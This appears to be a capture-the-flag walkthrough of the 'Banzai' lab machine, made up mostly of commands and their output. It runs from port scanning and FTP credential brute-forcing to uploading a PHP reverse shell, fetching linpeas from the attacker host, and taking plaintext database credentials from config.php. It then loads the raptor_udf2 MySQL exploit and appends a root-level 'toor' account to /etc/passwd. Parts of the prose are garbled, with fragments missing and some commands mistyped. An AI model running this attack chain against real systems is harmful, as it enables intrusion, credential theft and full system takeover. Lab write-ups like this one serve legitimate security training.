

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.208.56 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.208.56:21
Open 192.168.208.56:22
Open 192.168.208.56:25
Open 192.168.208.56:5432
Open 192.168.208.56:8080
Open 192.168.208.56:8295

PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack  vsftpd 3.0.3
22/tcp    open  ssh          syn-ack  OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
25/tcp    open  smtp         syn-ack  Postfix smtpd
5432/tcp  open  postgresql   syn-ack  PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19
8080/tcp  open  http         syn-ack  Apache httpd 2.4.25
|_ http-server-header: Apache/2.4.25 (Debian)
|_ http-title: 403 Forbidden
8295/tcp  open  http         syn-ack  Apache httpd 2.4.25 ((Debian))
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.25 (Debian)
|_ http-title: Banzai
Service Info: Hosts: banzai.offsecclabs.com, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```

```
(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.208.56:8295/ -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

```
=====
Starting gobuster in directory enumeration mode
=====
./htpasswd (Status: 403) [Size: 281]
./hta (Status: 403) [Size: 281]
./htaccess (Status: 403) [Size: 281]
./css (Status: 301) [Size: 321] [-> http://192.168.208.56:8295/css/]
./img (Status: 301) [Size: 321] [-> http://192.168.208.56:8295/img/]
./index.php (Status: 200) [Size: 23315]
./js (Status: 301) [Size: 320] [-> http://192.168.208.56:8295/js/]
./lib (Status: 301) [Size: 321] [-> http://192.168.208.56:8295/lib/]
./server-status (Status: 403) [Size: 281]
Progress: 4727 / 4727 (100.00%)
=====
```

```

```
(kali㉿kali)-[~/pgplay]
└─$ hydra -C /home/kali/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
192.168.208.56 ftp

[21][ftp] host: 192.168.208.56 login: admin password: admin
```

```

```
(kali㉿kali)-[~/pgplay]
└─$ ftp 192.168.208.56
```

```
Name (192.168.208.56:kali): admin
331 Please specify the password.
Password: admin
```

```
ftp> passive
ftp> ls -al
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 7 1001 0 4096 Jul 17 2020 .
drwxr-xr-x 7 1001 0 4096 Jul 17 2020 ..
drwxr-xr-x 2 1001 0 4096 May 26 2020 contactform
drwxr-xr-x 2 1001 0 4096 May 26 2020 css
```

```
drwxr-xr-x 3 1001 0 4096 May 26 2020 img
-rw-r--r- 1 1001 0 23364 May 27 2020 index.php
drwxr-xr-x 2 1001 0 4096 May 26 2020 js
drwxr-xr-x 11 1001 0 4096 May 26 2020 lib
``` Open ncshell.php,get /home/banzaiget local.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp21

ftp> put shell.php

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@banzai:/home/banzai$ cat local.txt
1e92e8016d339516238020697cde07b6
``` use`linpeas.sh`,`config`root/EscalateRaftHubris123`
```

```
www-data@banzai:/tmp$ wget 192.168.45.165:8080/linpeas.sh
www-data@banzai:/tmp$ chmod +x linpeas.sh
www-data@banzai:/tmp$./linpeas.sh
```

```
=====|| Searching passwords in config PHP files
/var/www/config.php:define('DBUSER','root');
```

```
www-data@banzai:/home/banzai$ ccat /var/www/config.php
cat /var/www/config.php
<?php
define('DBHOST','127.0.0.1');
define('DBUSER','root');
define('DBPASS','EscalateRaftHubris123');
define('DBNAME','main');
?>
```

```
then use mysql[Linux Privilege Escalation - Exploiting User-Defined Functions](https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/),download[edb-1518]
(https://www.exploit-db.com/exploits/1518?source=post_page-----6cc4d6eea356-----)
-),`.so`ftpupload
(kali㉿kali)-[~/pgplay]
└─$ searchsploit -m 1518.c
```

```
(kali㉿kali)-[~/pgplay]
└─$ gcc -g -c 1518.c -o raptor_udf2.o -fPIC
```

```
ftp> put raptor_udf2.so
ftp> chmod 777 raptor_udf2.so
```

## path is /var/www/html/raptor\_udf2.so

```
www-data@banzai:/ $ mysql -u root -p"EscalateRaftHubris123"
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
mysql> select * from foo into outfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
```

---

```
mysql> select * from mysql.func;
select * from mysql.func;
+-----+-----+-----+
| name | ret | dl | type |
+-----+-----+-----+
| do_system | 2 | raptor_udf2.so | function |
+-----+-----+-----+
1 row in set (0.00 sec)
``` can/etc/passwdtoorroot,/rootget proof.txt
```

```
mysql> sselect do_system('chmod 777 /etc/passwd; echo "toor:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd');
```

```
+-----+
| do_system('chmod 777 /etc/passwd; echo "toor:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd') |
+-----+
|                                                                                                     0 |
+-----+
```

```
1 row in set (0.00 sec)
```

```
mysql> exit
```

```
exit
```

```
Bye
```

```
www-data@banzai:/tmp$ cat /etc/passwd
```

```
toor:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash
```

```
www-data@banzai:/tmp$ su toor
```

```
su toor
```

```
Password: w00t
```

```
root@banzai:~# cat proof.txt
```

```
ad3753f5c75e408efcc348c971d0fb12
```